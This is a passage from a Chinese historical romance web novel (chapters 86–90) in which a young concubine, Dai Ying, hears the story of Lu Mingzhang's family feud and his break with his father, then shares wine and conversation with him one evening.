结果回去后,可想而知,不仅遭到家人反对,更被关了禁闭,用浸辣油的藤条抽了几十鞭,按说还该于祠堂跪个三日夜。
实在是陆家老太爷,也就是陆铭章的祖父当时抽打得太狠,把儿子抽晕过去了。
只能抬回屋找大夫看治。
这一道又一道的鞭笞不仅没让陆老大人后悔,反叫他记恨上,而这份记恨总要找个出口发泄。
没用多久,陆家择了一门户相当的女子,双方家族彼此间也都满意,选了个日子,将那贵女迎娶进门。
终于,这个发泄的口子有了……
陆淮看着红帐下女子温柔端秀的姿容时,有一瞬的怔愣,不知怎的,后背早已痊愈的伤口又开始作痛作痒。
而怀着满心憧憬和忐忑的寻春和在新婚之夜,并没有得到一个温柔地对待。
寻家,真要论起,其底蕴比陆家更为厚重,那是从前朝便开始累世传承的望姓。
只是一代又一代下来,大多族人南迁了,唯有一支留在京都。
接下来发生的一切和陆淮想得不一样,他以为自己会娶一个看一眼就嫌恶的世家贵女,一个整日端着冷脸,没有一点温柔可言的高傲女子。
然而寻春和不是,她脾气太好,他无理地对她撒气,她只默立于一侧,明知他有意为之,却从不同他闹,待他气消,她再缓缓开口。
让他蓄满了力的拳头打在棉花上。
这期间他试着去想曹氏,告诉自己,他的心不可能被束缚,他的心在更广阔的天地,还有广阔天地里等他的人儿。
其实陆淮真就惦记曹氏到这种地步?并不是,他只是把曹氏和自由不羁联系在了一起,而寻春和则代表了传统束缚。
可为什么他在这个束缚中还挺舒服自洽的?而曹氏的脸在他脑海中越来越模糊。
这日,陆淮走到院中,透过窗隙隐隐见到里面一个人影,于是走到窗下,往里看去。
就见妻子倚着窗榻上的小几,认真绣着什么。
“给我的么?”陆淮两条胳膊伏于窗栏,将下巴枕在胳膊上。
寻春和嗔了他一眼,抿嘴儿笑着不说话。
这一眼叫陆淮比吃了蜜糖还甜,正待再逗逗她,一下人急忙忙跑来。
“爷,府门前有一女人……”
“怎么什么都往我这里报,来个乞儿,也报与我不成?!”
那下人觑了自家主子一眼,磕巴道:“那女人说……说……她是爷的正头娘子……”
听到这里,戴缨惊呼一声:“寻春和是陆老夫人?”
陆溪儿伸出一指往嘴上比了比:“嘘——你轻声儿。”
“你祖父年轻时还怪风流的哩!”
戴缨又抓起一把瓜子,突然想到,陆淮不仅是陆溪儿的祖父,还是陆铭章和陆铭川这两个好大儿的爹。
“你还听不听?”陆溪儿问道。
戴缨把手里嗑的瓜子仁分了一半给陆溪儿:“你快说,我给你嗑。”
全然忘了她本是想听陆铭章的事。
陆溪儿兜着瓜仁一口塞到嘴里,嚼了几下,又喝了一口茶,继续说来。
自那日,寻春和方知原来自己的夫君在娶她之前已有妻室。
陆淮只知寻春和脾气温和,却不知这类人的柔软只是外在,内里自有一股不可撼动的强韧。
“春和,你听我说,这女子是我两年前出门游历时结识……那会儿年轻气盛,不懂事。”
寻春和面上没有一点生恼的迹象,自那日小厮传报后,她的态度就很安静,反倒是陆家老一辈气得不轻。
“你放心,我给她一笔钱,打发她离开,必不叫你难做。”陆淮保证道。
寻春和笑得有些勉强道:“爷能把那女子打发到哪里,左不过将她安置在外面,抹不去的……将她接进来罢,这么远的路,孤零零专为寻你。”
“你不生气?”
寻春和摇了摇头:“不气。”
这下倒叫陆淮不开心了,他心里忐忑,自打曹氏出现,他最在意的就是寻春和的想法,哪怕老头子对他破口大骂,他都浑不在意。
结果妻子半点不气,跟没事人一样,这就只有一个原因,他这位贤淑的妻子心里根本没有他。
“这可是你说的,你让我把人接进来?”陆淮再次确认,只要寻春和一句话,他不带一点迟疑,把曹氏安顿得远远的。
“是,爷把人接进来。”寻春和依旧是这个话。
陆淮高估了自己在妻子心里的重量,也低估了寻春和的倔强,他同她夫妻同床共枕两年,也是这一刻才真正认识她。
表面温柔顺从,可一旦触了她的逆鳞,再无转圜的余地,她让他把曹氏接进府,这只是一个开始。
一个她报复他的开端,因为她清楚,他心里真正在意的人是她,不是其他任何人。
接下来的年月,他们之间,她的每一个沉默都是“绝不妥协”。
他将曹氏接进府,这里面有赌气的成分。
她和他之间隔出了距离,那段距离不宽不窄,他进一步,她便退一步,永永远远地不增不减。
而她的脸上也永永远远的是疏远的客气,陆淮心想,一个人怎么可以决绝至此。
他想看她脸上哪怕出现一点点气恼也好,或是醋意。
之后,他故意长久地歇在曹氏屋里,既然你不在乎,那好,就这样罢。
终于,寻春和有了身孕,陆淮本想借这个契机修复夫妻二人的关系,寻春和因为有孕的关系,对陆淮的态度终于有了一点点松动。
谁知这方寻春和刚有身孕,曹氏后一脚也报出有喜,这下彻底成了一个死结。
寻春和生了一子,取铭章二字,曹氏亦生了一子,这个孩子便是外出遇难的陆家二爷,也就是陆溪儿她爹。
陆铭章渐渐长大,如何聪颖,如何顽劣自不必说……
“等等,顽劣?”戴缨以为自己听错了。
“是,我大伯以前很是顽劣,除了老夫人,他谁都不怕,谁也不放眼里,包括我祖父。”
陆溪儿说到这里,想起一事,插说了一句题外话:“对了,还有一件事,你怕是不知道,我大伯同赵太后定过亲。”
“和宫里的太后……定亲?”
“是。”陆溪儿接下去又道,“先不说这个,我继续往下讲。”
戴缨知道,从这里开始,便是陆铭章出场了,一个曾经的他,一个她不熟悉的他。
“我大伯十二岁中举,我小叔打小最崇拜的就是我大伯,成日跟在我大伯屁股后面,和我父亲不像亲兄弟,反倒和大伯像一个娘胎出来似的。”
戴缨听到这里,不觉得陆铭章有什么坎坷,曹氏的出现那也是上一辈的恩怨。
似是看出她心中所想,陆溪儿说了一句:“我祖母在生下我小叔后……仍是侍妾……”
“那后来怎么成了平妻?”戴缨脱口而出,这可太奇了。
陆溪儿叹了一声:“因为陆老夫人,确切点说,因为祖父同老夫人的一场争执……”
自打寻春和诞下儿子后,便不再让陆淮进她的屋,她像是完成了一项任务。
一来,对上有交代,完成了传宗接代。
二来,让自己老有所依。
一直以来,寻春和对自己夫君所有的不满在这个任务圆满完成后,终于在一日爆发了……
第87章 把她发卖了
咵——嚓——瓷器碎地的脆响,持续了几息,院中下人们无声地退到院外。
响过后,彻底安静下来。
房门闭着,只有窗户半掩,透过窗隙,只看到满地的碎瓷。
陆淮是个习武之人,对付十来个粗汉手到擒来,然而,他想要按住寻春和却好一番折腾。
不敢太用力,怕伤到她,可不用力根本捺不住她,两人就这么一上一下对视着。
寻春和的双手被陆淮举过头顶,牢牢锢住,衣襟在挣扎中阔散,衣缘下的雪脯随着呼吸上下起伏。
陆淮眼热,将头缓缓低下,隔着薄软的衣衫,用齿尖不轻不重地碾过。
“和儿,这么些年了,孩子都多大了,就是有气也该散了……”
寻春和望着帐顶,空静的心渊再次漫雾,变得不净。
洞房那夜,她从陆淮的眼中辨认出,那是第一次,她进入他的视线,然而却不是她第一次见他。
她很早就知道他,也见过他。
她曾在他惯常经过的酒楼里,要一壶茶,坐着,专等他打马扬鞭而过。
当媒婆上门说亲时,家人并不很愿意,陆家虽是大族,却渐呈颓势,且父母欲往南迁,寻家的大宗在那边。
是她在中间调和,执意嫁于陆淮,父母拗不过,不得不应下这一门亲。
她永远记得,双亲对她说的话。
待她嫁进陆家,他们寻家在京都的这一支会迁去南边,这一别可能就是永远,让她想好。
她仍是很坚定地点了点头。
后来,她如愿嫁给了陆淮,那一瞬的喜悦一辈子都值得回忆。
新婚伊始,他待她的态度并不耐烦,可她看出他眼底对她的欢喜,那气撒得也不对味,总是雷声大雨点小。
她觉着有趣,便由着他。
渐渐地,也许连他自己也没发觉,他对她态度的微妙转变,不论什么时候,只要回来,人还没到院呢,声音先传来:
春和——
春和——
再不就是,拉着下人问:
少夫人呢?
他一出现,连阳光都是香暖的,然而,一个自称他妻子的女人出现了,他急着在她面前说明和保证。
曹氏是个什么样的人,浅薄无知,牙尖嘴利的刻薄美人儿,那一刻寻春和没有悲愤,只想笑,不知道笑什么,就是觉着好笑。
她不恨曹氏,也没有多少厌恶,若是没有陆淮,她同曹氏这种人不会有任何交集。
她鄙夷自己,嘲弄自己从一开始就看走了眼,因为曹氏身上所有的败坏映照到了陆淮身上。
曾经自己赋予他的光环刹那间消散得无影无踪,于是,不愿他挨近自己,可她知道还不行,她需得有一个子嗣依傍。
终于,她生下了晏儿。
这么些年啊,他居然对自己说,就是有气也该散了?轻飘飘的一句,好像这么些年,是她一人在无理取闹。
“陆淮,你放开我!”寻春和挣了挣,发现无济于事,她动静大一点,他便把手下力道收紧,她安静下来,他就松一松。
“为什么放开你,你我二人是夫妻,这么些年,你何曾尽过妻子的义务,叫我连你这卧房都不能进。”
说着,埋首到她胸前,有意挑弄她,试图让她的身子软下来,他真的受不了她对他这样冷硬,想将二人的症结化开,让从前那个温柔爱笑的妻子回来。
可这个症结在寻春和出现之前就有了,曹氏比寻春和更早出现,而陆淮的真心却倾在了寻春和身上。
所以,在寻春和看来,她和陆淮之间无解。
“你的妻子不止我一人……”寻春和的声音不带一点情感。
陆淮头也不抬地劝慰道:“只你一人,没别人,她不过就是个妾室……”
不知怎的,寻春和心里有了一丝牵动,也许她还想再给他和她一次机会,也许她也不想再继续这种相互折磨。
“好,既然她只是一个无足轻重的妾室,把她发卖了,你可愿意?”
她不过是一句试探,也是一把钥匙,打开她心结的钥匙,当然,她并不会真让陆淮卖曹氏,要的是他的一个表态。
“春和,她已不再年轻,且生了两个哥儿,卖了她,孩子们日后会恨我,她也无处可去。”
寻春和忍耐,再一次给出机会:“两个哥儿可以接到我身边。”
“春和……”
这一声低低的哀求足以说明一切,紧接着又听陆淮说道:“初时我不让她进来,是你让我把她接进来,是不是?”
当时他二人太年轻,她一句闷声闷气的话,他真就照着做了,当时他或多或少也有负气的成分在。
看着她平静的面容,想着怄一怄她,结果……完全收不了场……
陆淮一手环上她的腰肢,凑到她的耳下,然而,一个吻还未落下,寻春和的声音响起。
“你的碰触我没法忍受,我忍不了一点……”
这句话就如一盆冰水对着陆淮兜头浇下。
他放开了她,从床上缓缓站起,理了理衣襟,眼底再没有一点温度,说出来的话也是生冷。
“你适才有一句话说对了,吾妻不止你一人,从今日起,曹氏抬为平妻,同你平起平坐。”
陆淮说完这话,看着寻春和煞白的面色得到一种报复的快感,然后不再多说一句,转身出了房门。
听到这里,戴缨摇了摇头:“老夫人的脾气这么犟呢!”
放在她身上,指定做不出来,人还是得审时度势,若陆铭章有一日或娶妻,或纳妾,她一定不会反对,再者,她也没资格反对。
陆溪儿笑了一声:“这算什么,我大伯性子才是真的硬,其实我小叔的性格更像我祖父,撒漫,我大伯性子托了老夫人的,闷犟。”
直到这会儿,在戴缨的印象里,陆铭章仍是沉稳恭肃的形象,觉得陆溪儿口中的顽劣、蛮霸同他并不适配。
十二岁中举,再怎么也该是个斯斯文文,年纪虽小却故作深沉的小神童。
这才是他该有的模样。
在陆溪儿响起的声音中,她的思绪再次拉回到许多年前的陆府。
清薄的阳光洒下,驱散晨雾,花园平整的青砖映成淡淡的金黄色。
金光中,一个身着短打绵白衫的小少年腾挪飞跃,只见其眸光灼灼,手中剑风激越,碎空作响。
他身上的绵衫被汗水浸透,稀皱在身上,已在这里练了许久。
剑锋轻颤,在空中划出一道完美的圆弧,手臂回环,手腕一沉,挽了一个花式,倒提于手间,嘴角咧出大大的弧度,扬起下巴。
这小小少年,小名阿晏,待二十岁行冠礼时取了表字,晏清。
一个同他年纪相当的少年,走上前,双手递上一块浸水的巾帕:“阿郎的剑术又精进了。”
少年接过巾帕,将手里的长剑抛给对面叫长安的长年:“少废话,该你了!”
长安匹手接过,当下舞起来,步法轻灵玄妙,剑光绵密,将周身护得风雨不透。
一个收势,将剑背于身后。
两人对视一瞬,朗声大笑起来。
“咯咯咯……”不知从哪里响起一个更稚嫩的笑声。
少年回头去寻,一旁的灌木中探出来一个小脑袋。
“川儿,你怎么躲在这里?”
小儿钻出,跑到少年跟前,仰起头,指向对面长安手里的长剑:“大哥,你真厉害,我以后也要像你一样厉害。”
小少年抱起小儿:“那你好好习武,以后比哥哥还厉害,好不好?”
小儿用力地点了点头。
这时,几个婢子从一个高的灌木另一边行过,听她们戚戚说道:“刚才闹出好大的动静。”
“唉!不是我说,夫人也是,自己同自己过不去,太执拗了。”
“可不是嘛,这下好了,家主要把偏院的曹姨娘扶作正妻……”
丫鬟的声音一点点远去。
就在长安发怔之际,小主人已走远了,于是赶紧牵起被他放在地上的川哥儿跟了上去。
“我爹呢?”陆铭章问下人。
“老爷去了桂兰院。”
那下人大气不敢出,阿郎的脸色不对,虽只十来岁的年纪,可那架势,平日里除了夫人,连老爷都压持不住。
这父子二人的脾气都不好,且不对付,估计一会儿得闹大,偏偏老大人和老夫人去了庄子,不常在府中居住。
长安拉着川哥儿跟在后面,但阿郎行得太快,他只好将陆铭川抱起。
一个半大的少年抱着一个半大的小子,气喘吁吁地跟在后面。
……
陆淮从上房出来后,转身去了桂兰院。
曹氏听院中下人说大爷来了,满心欢喜,忙不迭走出院门,再将人迎进屋,又是斟茶又是讨意问好。
“妾身适才还说把最近新酿的桃花酿取出,晚间邀爷过来喝。”
陆淮看着曹氏,想她跟自己时也是好清白一女子,再一想寻春和,她有什么道理同自己置气,还一气就是这许多年。
要说先来后到,她才是后到的那个。
曹氏见陆淮有一瞬的晃神,倚坐到他身侧,细着声气道:“妾身前段时间瞥见夫人戴的几样头饰,甚是喜欢,爷可否给妾身也置办几样?”
陆淮似是没听见一般,嘴里喃喃说了一句:“既然说了抬你为平妻,你便是平妻,想要什么头饰,让下人买办。”
这话不像对着曹氏说的,像是对着空气在失意地自言自语……
第88章 颠倒伦常
陆淮说的话音很轻,可曹氏听得明明白白,什么钗饰不钗饰的都不重要了,她就听到“平妻”二字。
呼啦一下站起,动静大的带翻了凳子。
“爷,您刚才说抬妾身为妻?!”曹氏欢喜出声,并一口咬定。
陆淮回过神来,看向曹氏,张了张嘴,想着怎么把刚才的话收回。
然而正当他开口时,“哐嚓”一声,房门从外被大力踹开,门板震颤,浮尘簌簌落下,仿佛连屋室都跟着震颤了一般。
陆淮凝目去看,就见门下站着自己的大儿子,当下怒喝道:“什么规矩!”
陆铭章走进屋里,一双眼看向曹氏,曹氏被陆铭章盯得肩一缩,转念想到自己平妻的身份,又刻意地挺了挺背。
“你要抬她跟我母亲平起平坐?”陆铭章同自己父亲对上。
陆淮稳坐不动:“小畜生,由得了你来质问我?!”
陆铭章半点不惧,逼问道:“父亲想做的事,儿子自然不能置喙,却也想问个究竟,是也不是?”
“是,你待如何?”
陆淮话音刚落,一旁的曹氏听后,把架子端得足足的,走到陆铭章面前。
“晏哥儿,如今妾身同夫人一样,都是府里的当家主母,你这做小辈的,总该懂得尊卑上下,今日你若肯全了礼数,与我磕个头,我便宽宥你年少无知……”
话未落地,陆铭章倏忽抬腿,曹氏“哎哟”一声,人倒飞出去,再看时,已狼狈地仰倒在地。
陆淮一拍桌安,霍地站起:“反了天了,好你个小畜生!老子抬举的人,你也敢打?我还坐这儿呢,由得了你放肆!”
陆铭章抬眼看向陆淮。
“你那是什么眼神,还想跟我动手不成?”
正在这时,长安从后赶来,陆铭章看了他一眼,一脸铁色地伸出手。
长安是陆铭章的近侍,他一个眼神一个动作,他就能明白他的意思。
“阿郎,不可……”
陆铭章把眼一横,长安不得不将手里的长剑递上。
在陆淮未反应过来时,陆铭章已挥剑砍向地上的曹氏,曹氏惊骇地张开嘴,却发不出声,这一剑是真打算把她给杀了。
就在她即将命丧剑下时,陆淮抢步上前,一脚踹在了陆铭章的胸口。
“小小年纪,好狠的心肠,让你长大还得了?!”说着,走上前,一把揪住儿子的衣襟,将人从地面提至半空,“不如今儿死在我手里。”
陆淮见儿子眼中没有半点惧意,腮帮紧咬,毫不惧怕地回盯着他,一副死不认错的态度,心里暗骂,简直跟他娘一个模样。
“你要打杀他,何必那样麻烦,先杀了我这个生他的人,他自然也就活不了了。”
陆淮看向来人,正是闻讯赶来的寻春和,心里的气更是不打一处来。
“你生的,目无尊长,以下犯上,这就是你教出的好儿子!”
说着一把将陆铭章掼倒在地。
这一掼的力道并不轻,陆铭章缓了会儿才从地上爬起,起身后朝地上啐了一口,说道:“哪里来得尊长,妾就是奴,一个奴才也敢让我叫母亲?”
借着这个话头,陆淮正想再提一提抬曹氏为平妻的话,用来气寻春和,谁知大儿子接下来道了一句,这话将在场众人震得回不过神。
“她是奴,当不得我一声母亲,而你……”陆铭章直直地看向陆淮,锋刃尽出,一字一句地说道,“德行有亏,失德、乱纲、颠倒伦常,当不得我父亲。”
一声落地,陆淮下意识往后退了一步。
“你……说什么?”
陆铭章不带一点怕的,说道:“我说你不配当我父亲,我没你这样的父亲。”
“轰”的一声,顷刻间,众人就见方桌在家主的掌下碎裂。
“好,好样的,你有这骨气,便把你这一身武力尽数散了,那是我教的。”
“陆淮!”寻春和几步上前,揪住陆淮的衣衫,往他身上捶打,要和他拼了。
陆淮任她捶打,根本不理,他若不趁此治住这小子,以后他就要踩到他的头上。
然后他还是低估了大儿子的刚绝,就在他话音落下的那一瞬,陆铭章眼中狠色一闪,并起双指,毫不犹豫地朝自身丹田气海猛力点下,脸色瞬间灰败,唇边溢出一缕血丝。
周围静得没有一点声响。
直到寻春和绝望的悲哭从屋里彻响:“晏儿——”
事情走到这一步,全然失控,陆淮身子晃了晃,不能说出一句话……
听到这里,戴缨心里不知是个什么滋味,堵得难受,这里面好像谁都没有错,谁都有问题,纠葛不清。
怪曹氏吗,可追究起来是她先遇上的陆淮。
怨寻春和执拗吗,她违背了家人的意愿,抛下所有,同族人分离,只身滞于京都,就为了心上人,在最最幸福的时候却得知他在外早已娶妻,且一直隐瞒。
这口气任哪个女子咽得下?
戴缨想来想去,认为问题的关键在陆家老大人身上,接着追问:“后来呢?”
陆溪儿挑了挑眉:“后来,我大伯走了。”
“走了?”
“是,就是那日,大伯离开了陆家,离开时身上没带任何盘缠,空着双手走的。”陆溪儿又补了一句,“连长安也没带。”
戴缨震在那里完全说不出话,原来陆铭章有一身好拳脚,结果自散功力,身无分文地离家,身边连个随护的人也不带。
这已非简单的离去,而是彻彻底底的决裂,不留一丝余地,这人心志之坚,手段之绝,简直骇然……
对自己尚能如此狠戾,这世间,还有什么是他不能割舍的?这一瞬,她的心底滋冒出丝丝寒凉。
“那他去了哪里?又怎么回的陆府?这中间经历了什么?”戴缨迫切地问道,想知道的更多。
陆溪儿正欲再说,院子里下人来报,曹老夫人唤她过去一趟。
“真烦,我祖母叫我呢,得去了,迟去一会儿她老人家又怨叨,你再坐会儿。”
陆溪儿说罢,下了窗榻,趿上鞋,丫鬟进来给她系上斗篷,揣着手炉,往桂兰院去了。
这可把戴缨晾得心痒,陆铭章怎么回的陆府呢,他离家后又去了哪里?没了傍身的功夫,如何谋生?
还有……也是最让她好奇的一点,他怎么回的陆家,而且,回了陆家后,摇身成了陆家家主,从前差点被他砍杀的曹氏依旧安然地住在陆家。
这可太奇了!
陆溪儿走后,戴缨也不好多坐,带着丫头回了一方居。
陆铭章大多时候白天不在府里,老夫人那边也不用她过去伺候,于是独自在侧屋用了午饭。
用罢饭后,又于侧屋的榻间小憩,醒来时,天色有些暗了,近几日天气本就阴沉,屋里若不点灯,如同到了夜里。
窗外呼呼刮着潮湿的寒风,怪腔怪调的悠扬让人更不愿出门,只想窝在屋里。
戴缨从床头勾起大衣,笼在身上,赤脚趿上软底鞋,绕过帷屏,走到外间,再走到窗边,将窗户支开一条缝隙,往外看去。
几个小厮在院中挂灯,孔嬷嬷和几个婆子在对面的值房说闲话,没见到归雁,应和七月等几个大丫头在另一边的厢房玩闹。
冻人的风溜进窗隙,扑到戴缨的面上,自上次梦魇醒来,起夜喝茶致使寒气入体后,戴缨便格外注意保暖,于是赶紧掩下窗户。
窗户刚刚放下,便听到院外响来几道脚步声,这声音她不用刻意分辨,也知道是这院子的主人回了。
接着就听到院中人唤“大爷”,然后院中开始有了不一样的动静,众人的脚步变得明快,还伴有人声。
“叫厨房传饭。”
是七月在说话,接着又听她压低声音说:“不知姨娘醒了没?”
“没听见动静,想是还睡着。”归雁说着,轻轻叩响房门,没有回应,“没醒呢,若是大爷问起,烦姐姐说一声。”
七月应下,往另一个方向去了。
戴缨倚在窗边,身形几欲和屋中的幽暗相融,听动静,斜对面的正屋开始摆饭了,过了一会儿,安静下来,于是走回里间,褪下大衣,重新躺回床榻,将脸埋在被间,就这么一觉睡到天亮?
那也太不像样了,他没回来时,她可自在随意,他人都回了,她不到跟前伺候,说不过去。
于是翻身下榻,正要唤人进来时,房门再次被叩响,跟着归雁的声音传来。
“娘子,起身了吗?”
戴缨赶紧答道:“起了,进来罢。”
归雁推门进屋,因是晚间,不必出门,给戴缨穿了一件不厚不薄的长衫,外面罩上银灰狐裘大衣,简单收拾了一番,往对面的主屋去了。
戴缨进了主屋,饭菜已摆上桌,正巧陆铭章褪下朝服,换上一身月白色交领软绸衫从里间出来,见了戴缨,在她面上看了一眼,说道:“她们说你歇下了。”
戴缨解下斗篷,递给归雁,笑道:“大人回了,妾身怎能躲懒不起身,就是再不知事,这点规矩还是懂的。”
陆铭章没说什么,走到桌边坐下,戴缨便走到他身边侍立,欲挽袖替他布菜。
“有丫头们伺候,坐下一起用饭。”陆铭章说道。
戴缨依言坐下,丫鬟们开始布让。
两人静默无声地用饭。
七月立在陆铭章的身后,见他饭用得差不多了,执起酒壶斟了一杯酒,七月并不知戴缨不善酒,也给她倒了一盏,而后悄然无声地退了出去,将房门悄然合拢。
室内,只余他二人……
第89章 那是她喜欢的
戴缨是个沾酒易醉之人,若是不饮,又怕扫了陆铭章的兴。
“阿缨不好酒,陪大人小酌两盏,可好?”
陆铭章点头道:“可。”接着又侧头对七月吩咐,“煮一盅醒酒汤来。”
七月应下,并招了屋里的丫鬟一齐退下。
待屋里只剩他二人时,陆铭章问道:“你今儿做什么了?”
陆铭章不过是随口的一句话,戴缨却因着白日听了有关他的过往,不免心虚。
“先去陪老夫人说了会儿话,又去溪姐儿院里坐了小半日,就回了。”
陆铭章端起盏,饮下杯中酒,戴缨跟着饮了小半盏。
“大人今日做了什么?”戴缨闲说家常。
陆铭章一怔,从来只有他问别人的,头一回被人反问,想了想,回答道:“候朝时分,在‘值院’同余大人闲说了几句……”
戴缨睁着亮眼,插话道:“大人说话时,我可不可以插嘴问话?”
陆铭章笑着点头。
得到肯定回答后,戴缨问道:“余大人是谁?”
“宰相大人,余信。”
值院是官员们等待上朝的休息所,绝非什么闲谈之所,听说那位余大人是宰相,就算戴缨不知政务,也能料想到,陆铭章同他只怕不止闲说几句这么简单。
少不得又是一场交锋,且这种交锋很可能日日上演。
从前,对戴缨来说,她能接触到的高官,顶了天就是她姑父谢山,后来谢容升迁了,就是谢容。
眼下听到宰相二字,新奇中有些不真实之感。
陆铭章见她很有兴致,接下去说道:“再就是参加常朝……”
不待陆铭章往下说,戴缨又问:“皇帝年幼,太后娘娘临朝么?”
陆铭章点了点头。
戴缨看着陆铭章那张烛火下的脸,只这么端看着,就是一个三十出头,长相文雅的人,薄薄的眼皮,眼弧似笔墨完美勾勒一般,鼻梁很高,却不过分刚毅。
我大伯同太后定过亲……戴缨的脑海兀自蹦出这么一句话,鬼使神差地问了一句:“太后娘娘好看么?”
陆铭章从戴缨面上扫过,声音微沉:“慎言,不可妄议凤仪。”
她是什么身份,一个商户女,因着几分稍稍可看的皮囊,入了陆铭章的眼,成了他的侍妾,就敢冒犯如同天人一般的太后?
这种心思要不得,需掐掉,否则只会徒惹他鄙夷。
“之后呢,大人快说,我不再打断了。”戴缨一面说,一面替陆铭章续上酒。
待他举杯时,她陪了半盏。
“朝会结束后,便往皇城内的枢密院办公,升厅议事,审阅文书,商议决策,包括一些边境急奏,武将奏章,还有各地驻军的汇报,之后拟令下发。”
陆铭章说完看向戴缨,见她两眼湿润,面颊微红,笑问一声:“不问什么?”
戴缨连连摆手:“不插话了,大人说话,妾认真听着。”
陆铭章见她听得认真,继续道:“下午,未时左右,接见官员,查阅档案,之后前往政事堂会商,日暮时分,将一日的重要事项理出,再入宫,内引奏事,汇报今日处理的核心军务,呈上御批的奏札。”
戴缨听着,这么一趟下来,安排得满满当当,哪有空闲休息。
“不能偷懒么?”戴缨问道。
陆铭章笑道:“可还记得那日雨天,你在福兴楼碰见我,那会儿,我便在躲懒。”
当时他坐在二楼平台,她带着丫头进了福兴楼,先是同店伙计说笑几句,然后寻了个窗边的位置,后来又走到窗下,同卖羊奶果的妇人攀谈。
于陆铭章而言,那就是一个半大不大的丫头,看一眼,便不再理会,那日,她的声音随着风雨不自主地飘入他耳中。
先是忧心雨几时停,得到妇人的回答后,声音清亮了一个度,眉眼间透出欣然的灵动,活像绿林间的小花鹿。
而自己的目光不知不觉被她吸引,到后来,他才知那日为何她向妇人问天气。
戴缨笑着替陆铭章斟酒,又自然而然地给自己倒了一盏,说道:“我喝过这盏就不再喝了。”
“好。”
陆铭章端起手边的酒杯,欲往嘴边送时,戴缨轻轻止住他的胳膊:“大人慢着,咱们碰一碰。”
陆铭章先是一怔,会过意来,笑问:“有什么说法?”
“自然是有说法的。”戴缨回道。
“哦?什么说法?”
“叮一声,说出去阿缨也是给陆相敬过酒的人。”
这话听了叫陆铭章心情甚好,笑出了声。
七月端着醒酒汤立在屋外,听着屋里发出的笑声,天爷,她在一方居伺候了那么久,还从未见家主这样开怀笑过。
于是看向门边守望的长安,后者一副平静的模样,显然已经不稀奇。
七月双手端着木托,将醒酒汤送进了屋,然后退了出去。
戴缨揭开碗盖,问陆铭章:“大人不用它解酒?”
“我没醉,倒是你,酒意未散。”
戴缨点了点头,正待舀起一勺,房门被敲响,长安的声音从外响起。
“阿郎,有边关传报。”
陆铭章看向戴缨:“我去去前院,你早些歇息,不必候我。”
戴缨站起身,从里间取出一件鹤氅:“外面冷,大人将这个披上。”
说着,侍候他穿上并系好衣带,待陆铭章走后,戴缨让人进来清了桌面。
适才他走时,让她不必候他,这话在她听来是让她回侧屋歇息,是以,她将归雁唤进来:“咱们那屋的暖壁燃着么?”
“燃着呢,不曾熄过,屋里暖着。”归雁一面回答,一面替戴缨披上斗篷。
两人出了主屋,往另一边去了,回了侧屋,孔嬷嬷让人备了热水,供她沐洗。
蒸蒸热气,不一会儿就氤氲了整个沐间。
归雁伺候戴缨褪去衣衫,扶坐到浴桶内,孔嬷嬷替她散了发辫,再一点点打湿揉洗。
“娘子怎的回这屋了?”孔嬷嬷问道
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“大人去前院书房,让我不用候等,这便回了。”戴缨用手撩了撩水。
“我的姐儿,家主既然这样说,你就该留在那屋里,候着他才是。”孔嬷嬷一面将戴缨的湿发揉搓出沫子,一面说道。
“他都那样说了,不好涎皮赖脸待着。”戴缨答道。
孔嬷嬷唉了一声,又道:“这怎么是涎皮赖脸,你若待在那屋里,不论多晚,守着,候着,大人回屋见了,不正好体现娘子的体贴么。”
戴缨把孔嬷嬷的话在脑中过了一遍,问道:“惹他厌恶可怎么好?”
孔嬷嬷想了想,这位大人的脾气好像是不好琢磨,当下也不敢再出主意。
……
陆铭章去了书房,接了信报,于灯下看了,并非什么要紧事,这个时候对他来说还早,想着把手上公务再理一理,若是平时,也是来书房待到深更才回。
突然一阵风过,将窗扇吹开,外面黑黢黢的,零星几点雪片飘了进来。
他起身走到窗边,才发现落雪了,回头看了一眼桌案上的文书,再看一眼窗栏上将化未化的雪沫,最后出了房门。
长安暂歇在旁边的值房,小厮进屋给他递话。
“安管事,爷要回了。”
长安有些稀奇,以往阿郎在书房少说也得待上一个时辰,这会儿还不足半个时辰就回,想到什么,瞬间了然。
回了一方居,陆铭章见了窗纱上的灯光,比往日更亮更暖,举步上阶,推门而入。
桌面已收拾干净,屋里重新熏过香。
丫鬟进屋侍候他更衣,他将眼睛往里间探看,那里面暗着,很安静。
七月叫下人往沐间备水,然后整出一套更换的衣物,来回间正巧瞥到家主的眼神,悟出了什么,适时说道:“戴姨娘在爷去前院后,便回了她那屋。”
陆铭章“嗯”了一声,待热水备下,去了沐间,沐身毕,换了一件素色软衫,然后坐在外间的半榻上,由着两个丫头给他烘发。
“让厨房做一份牛乳羹来。”陆铭章说道。
七月刚铺好床帐从里面走出,正待应下,又听家主说道:“问问那边睡了不曾,若是不曾睡……那是她喜欢吃的,你去问问。”
七月立时明白了话里的意思,不仅弄明白了话里的意思,连话外的意思也明白了,赶紧应下,出了房门,先是吩咐丫鬟通知厨房做牛乳羹,再行到侧屋前敲响房门。
戴缨此时已睡下,不过并未睡沉,听到敲门声从里间应了一声。
“爷让厨房做了牛乳羹,特意给姨娘做的。”
七月既然明白了家主话里话外的意思,道出来的话就不是询问的语调了,而是按那句话最根本的意思去办。
戴缨从床上欠起身,心跳快了几拍,接话道:“就来。”
得了这个话,七月又到家主身边回话。
戴缨没叫归雁进屋伺候,自己将微湿的长发用银簪随手绾起,系上斗篷,去了陆铭章的主屋……
第90章 他拿她没办法
一进主屋,就见陆铭章坐在外间的半榻上,衣着闲适,丫鬟在其身后给他烘发,于是走上前,接过丫鬟手里的暖炉:“我来罢。”
丫鬟们便退了出去。
“大人的事务忙完了?”
陆铭章颔首道:“我让人备了热甜品,应是你喜欢的。”
上次他在上房见她嘴沿残有奶沫子,便记下了。
她立在他的身后,没有回答,只是轻柔地给他烘干头发,陆铭章的头发很软,干透的发丝尤为顺滑,手指穿插其间就像抚进细细的流沙中。
差不多时,她将暖炉放到小几上,然后两手轻轻搁在他的肩头,就这么侍立在他的后侧方。
接着,他抬起手,覆在她的手上,轻轻地握住,将人带到身边坐下,抬眼去看,见她薄腮微粉,眼皮微敛,一双眼不知该放到哪里。
戴缨腰背挺得笔直,就跟离京路上同他共乘时那样局促,整个人没法放松下来。
且这会儿同那时又不一样,那时,她坐在他的侧面,隔着距离,而现在,她同他并坐,手被他握着。
陆铭章似是看出了她的不自在,松了手,说道:“只你我二人时随意些罢。”
既然他起了话头,她又怎会让话落在地上,于是笑问道:“真的可随意?”
陆铭章笑了笑:“这话还有假的?”
